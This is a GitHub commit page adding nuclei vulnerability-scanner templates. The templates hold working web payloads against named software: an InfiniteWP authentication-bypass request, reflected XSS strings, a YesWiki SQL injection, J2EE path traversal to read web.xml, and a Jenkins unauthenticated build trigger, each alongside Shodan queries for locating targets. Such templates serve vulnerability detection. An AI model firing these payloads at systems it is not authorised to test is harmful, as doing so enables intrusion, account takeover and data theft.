Skip to content

Commit 064a370

Browse files
hktalenthktalent
committed
up PoCs 2022-08-10
1 parent 3236463 commit 064a370

File tree

14 files changed

+551
-0
lines changed

14 files changed

+551
-0
lines changed

‎config/nuclei-templates/cves/2020/CVE-2020-8772.yaml

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
id: CVE-2020-8772
2+
3+
info:
4+
name: WordPress InfiniteWP Client < 1.9.4.5 - Authentication Bypass
5+
author: princechaddha,scent2d
6+
severity: critical
7+
description: |
8+
The InfiniteWP Client plugin before 1.9.4.5 for WordPress has a missing
9+
authorization check in iwp_mmb_set_request in init.php. Any attacker who
10+
knows the username of an administrator can log in.
11+
reference:
12+
- https://wpscan.com/vulnerability/10011
13+
- https://nvd.nist.gov/vuln/detail/CVE-2020-8772
14+
- https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/
15+
- https://wpvulndb.com/vulnerabilities/10011
16+
remediation: Upgrade to InfiniteWP Client 1.9.4.5 or higher.
17+
classification:
18+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
19+
cvss-score: 9.8
20+
cve-id: CVE-2020-8772
21+
cwe-id: CWE-862
22+
metadata:
23+
verified: "true"
24+
tags: cve,cve2020,wordpress,wp-plugin,wp,infinitewp,auth-bypass
25+
26+
requests:
27+
- raw:
28+
- |
29+
GET /?author=1 HTTP/1.1
30+
Host: {{Hostname}}
31+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
32+
Accept-Language: en-US,en;q=0.9
33+
34+
- |
35+
POST / HTTP/1.1
36+
Host: {{Hostname}}
37+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
38+
Content-Type: application/x-www-form-urlencoded
39+
40+
_IWP_JSON_PREFIX_{{base64("{\"iwp_action\":\"add_site\",\"params\":{\"username\":\"{{username}}\"}}")}}
41+
42+
redirects: true
43+
extractors:
44+
- type: regex
45+
name: username
46+
internal: true
47+
group: 1
48+
part: body
49+
regex:
50+
- 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
51+
52+
- type: regex
53+
name: username
54+
internal: true
55+
group: 1
56+
part: header
57+
regex:
58+
- 'ion: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'
59+
60+
matchers-condition: and
61+
matchers:
62+
- type: word
63+
part: header
64+
words:
65+
- "wordpress_logged_in"
66+
67+
- type: word
68+
words:
69+
- "<IWPHEADER>"
70+
71+
part: body
72+
- type: status
73+
status:
74+
- 200

‎config/nuclei-templates/cves/2021/CVE-2021-45422.yaml

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
id: CVE-2021-45422
2+
3+
info:
4+
name: Reprise License Manager 14.2 - Reflected XSS
5+
author: edoardottt
6+
severity: medium
7+
description: |
8+
Reprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability in the /goform/activate_process "count" parameter via GET. No authentication is required.
9+
reference:
10+
- https://seclists.org/fulldisclosure/2022/Jan/31
11+
- https://www.getinfosec.news/13202933/reprise-license-manager-142-reflected-cross-site-scripting#/
12+
- https://nvd.nist.gov/vuln/detail/CVE-2021-45422
13+
classification:
14+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
15+
cvss-score: 6.1
16+
cve-id: CVE-2021-45422
17+
cwe-id: CWE-79
18+
metadata:
19+
shodan-query: http.html:"Reprise License"
20+
verified: "true"
21+
tags: cve,cve2021,reprise,xss
22+
23+
requests:
24+
- method: GET
25+
path:
26+
- "{{BaseURL}}/goform/activate_process?isv=&akey=&hostid=&count=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
27+
28+
matchers-condition: and
29+
matchers:
30+
- type: word
31+
part: body
32+
words:
33+
- 'value=""><script>alert(document.domain)</script>"><input type='
34+
- 'value: "><script>alert(document.domain)</script>)<br>'
35+
condition: or
36+
37+
- type: word
38+
part: header
39+
words:
40+
- "text/html"
41+
42+
- type: status
43+
status:
44+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-35493.yaml

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
id: CVE-2022-35493
2+
3+
info:
4+
name: eShop - Cross-site Scripting
5+
author: arafatansari
6+
severity: medium
7+
description: |
8+
eShop - Multipurpose Ecommerce Store Website v3.0.4 allows Reflected Cross-site scripting vulnerability in json search parse and the json response in wrteam.in.
9+
reference:
10+
- https://github.com/Keyvanhardani/Exploit-eShop-Multipurpose-Ecommerce-Store-Website-3.0.4-Cross-Site-Scripting-XSS/blob/main/README.md
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-35493
12+
metadata:
13+
verified: true
14+
shodan-query: http.html:"eShop - Multipurpose Ecommerce"
15+
tags: cve,cve2022,eshop,xss
16+
17+
requests:
18+
- method: GET
19+
path:
20+
- '{{BaseURL}}/home/get_products?search=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E'
21+
22+
matchers-condition: and
23+
matchers:
24+
- type: word
25+
words:
26+
- 'Search Result for \"><img src=x onerror=alert(document.domain)>'
27+
28+
- type: word
29+
part: header
30+
words:
31+
- text/html
32+
33+
- type: status
34+
status:
35+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-36883.yaml

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
id: CVE-2022-36883
2+
info:
3+
name: Git Plugin up to 4.11.3 on Jenkins Build Authorization
4+
author: c-sh0
5+
severity: high
6+
description: A missing permission check in Jenkins Git Plugin 4.11.3 and earlier allows unauthenticated attackers to trigger builds of jobs configured to use an attacker-specified Git repository and to cause them to check out an attacker-specified commit.
7+
reference:
8+
- https://www.jenkins.io/security/advisory/2022-07-27/#SECURITY-284
9+
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-36883
10+
- https://nvd.nist.gov/vuln/detail/CVE-2022-36883
11+
classification:
12+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
13+
cvss-score: 7.5
14+
cve-id: CVE-2022-36883
15+
cwe-id: CWE-862
16+
metadata:
17+
shodan-query: X-Jenkins
18+
verified: "true"
19+
tags: cve,cve2022,jenkins,plugin,git
20+
21+
requests:
22+
- method: GET
23+
path:
24+
- "{{BaseURL}}/git/notifyCommit?url={{randstr}}&branches={{randstr}}"
25+
26+
matchers-condition: and
27+
matchers:
28+
- type: word
29+
part: body
30+
words:
31+
- "repository:"
32+
- "SCM API plugin"
33+
condition: and
34+
35+
- type: status
36+
status:
37+
- 200

‎config/nuclei-templates/exposed-panels/mybb-forum-detect.yaml

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
id: mybb-forum-detect
2+
3+
info:
4+
name: MyBB Forum Panel Detect
5+
author: ritikchaddha
6+
severity: info
7+
metadata:
8+
verified: true
9+
shodan-query: http.title:"MyBB"
10+
tags: panel,mybb,forum
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- '{{BaseURL}}/portal.php'
16+
17+
redirects: true
18+
max-redirects: 2
19+
matchers:
20+
- type: word
21+
part: body
22+
words:
23+
- 'MyBB Forum'
24+
- '<title>MyBB'
25+
condition: or

‎config/nuclei-templates/exposed-panels/mybb/mybb-forum-install.yaml

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
id: mybb-forum-install
2+
3+
info:
4+
name: MyBB Exposed Installation
5+
author: ritikchaddha
6+
severity: high
7+
metadata:
8+
verified: true
9+
shodan-query: http.title:"MyBB"
10+
tags: panel,mybb,forum
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- '{{BaseURL}}/install/index.php'
16+
17+
matchers-condition: and
18+
matchers:
19+
- type: word
20+
part: body
21+
words:
22+
- 'MyBB'
23+
- 'Installation Wizard'
24+
condition: and
25+
26+
- type: word
27+
part: body
28+
words:
29+
- 'currently locked'
30+
negative: true
31+
32+
- type: status
33+
status:
34+
- 200

‎config/nuclei-templates/exposed-panels/wordpress/wp-install.yaml

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
id: wp-install
2+
3+
info:
4+
name: WordPress Exposed Installation
5+
author: princechaddha
6+
severity: high
7+
reference:
8+
- https://smaranchand.com.np/2020/04/misconfigured-wordpress-takeover-to-remote-code-execution/
9+
tags: panel,wordpress
10+
11+
requests:
12+
- method: GET
13+
path:
14+
- "{{BaseURL}}/wp-admin/install.php"
15+
16+
matchers-condition: and
17+
matchers:
18+
- type: word
19+
words:
20+
- "<title>WordPress &rsaquo; Installation</title>"
21+
- "Site Title"
22+
condition: and
23+
24+
- type: status
25+
status:
26+
- 200

‎config/nuclei-templates/technologies/yeswiki-detect.yaml

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
id: yeswiki-detect
2+
3+
info:
4+
name: YesWiki Detect
5+
author: ritikchaddha
6+
severity: info
7+
metadata:
8+
verified: true
9+
shodan-query: http.html:"yeswiki"
10+
tags: yeswiki,panel
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- '{{BaseURL}}'
16+
17+
redirects: true
18+
max-redirects: 2
19+
matchers-condition: and
20+
matchers:
21+
- type: word
22+
part: body
23+
words:
24+
- 'yeswiki-search'
25+
- 'yeswiki-base'
26+
condition: or
27+
28+
- type: status
29+
status:
30+
- 200

‎config/nuclei-templates/vulnerabilities/generic/generic-j2ee-lfi.yaml

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
id: generic-j2ee-lfi
2+
3+
info:
4+
name: Generic J2EE LFI scan
5+
author: davidfegyver
6+
severity: high
7+
description: Looks for J2EE specific LFI vulnerabilities, tries to leak the web.xml file.
8+
reference:
9+
- https://github.com/ilmila/J2EEScan/blob/master/src/main/java/burp/j2ee/issues/impl/LFIModule.java
10+
metadata:
11+
verified: true
12+
shodan-query: http.title:"J2EE"
13+
tags: lfi,generic,j2ee
14+
15+
requests:
16+
- method: GET
17+
path:
18+
- "{{BaseURL}}/../../../../WEB-INF/web.xml"
19+
- "{{BaseURL}}/../../../WEB-INF/web.xml"
20+
- "{{BaseURL}}/../../WEB-INF/web.xml"
21+
- "{{BaseURL}}/%c0%ae/%c0%ae/WEB-INF/web.xml"
22+
- "{{BaseURL}}/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml"
23+
- "{{BaseURL}}/%c0%ae/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml"
24+
- "{{BaseURL}}/../../../WEB-INF/web.xml;x="
25+
- "{{BaseURL}}/../../WEB-INF/web.xml;x="
26+
- "{{BaseURL}}/../WEB-INF/web.xml;x="
27+
- "{{BaseURL}}/WEB-INF/web.xml"
28+
- "{{BaseURL}}/.//WEB-INF/web.xml"
29+
- "{{BaseURL}}/../WEB-INF/web.xml"
30+
- "{{BaseURL}}/%c0%ae/WEB-INF/web.xml"
31+
32+
stop-at-first-match: true
33+
matchers-condition: and
34+
matchers:
35+
- type: word
36+
part: body
37+
words:
38+
- "<servlet-name>"
39+
- "</web-app>"
40+
condition: and
41+
42+
- type: status
43+
status:
44+
- 200

‎config/nuclei-templates/vulnerabilities/other/yeswiki-sql.yaml

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
id: yeswiki-sql
2+
3+
info:
4+
name: YesWiki - SQL Injection
5+
author: arafatansari
6+
severity: critical
7+
description: |
8+
YesWiki before 2022-07-07 allows SQL Injection via the "id" parameter in the AccueiL URL.
9+
reference:
10+
- https://huntr.dev/bounties/32e27955-376a-48fe-9984-87dd77e24985/
11+
metadata:
12+
verified: true
13+
shodan-query: http.html:"yeswiki"
14+
tags: yeswiki,sqli
15+
16+
variables:
17+
num: "999999999"
18+
19+
requests:
20+
- method: GET
21+
path:
22+
- '{{BaseURL}}/?PagePrincipale/rss&id=1%27+and+extractvalue(0x0a,concat(0x0a,(select+concat_ws(0x207c20,md5({{num}}),1,user()))))--+-'
23+
24+
matchers-condition: and
25+
matchers:
26+
- type: word
27+
part: body
28+
words:
29+
- 'c8c605999f3d8352d7bb792cf3f'
30+
31+
- type: status
32+
status:
33+
- 200

0 commit comments

Comments
 (0)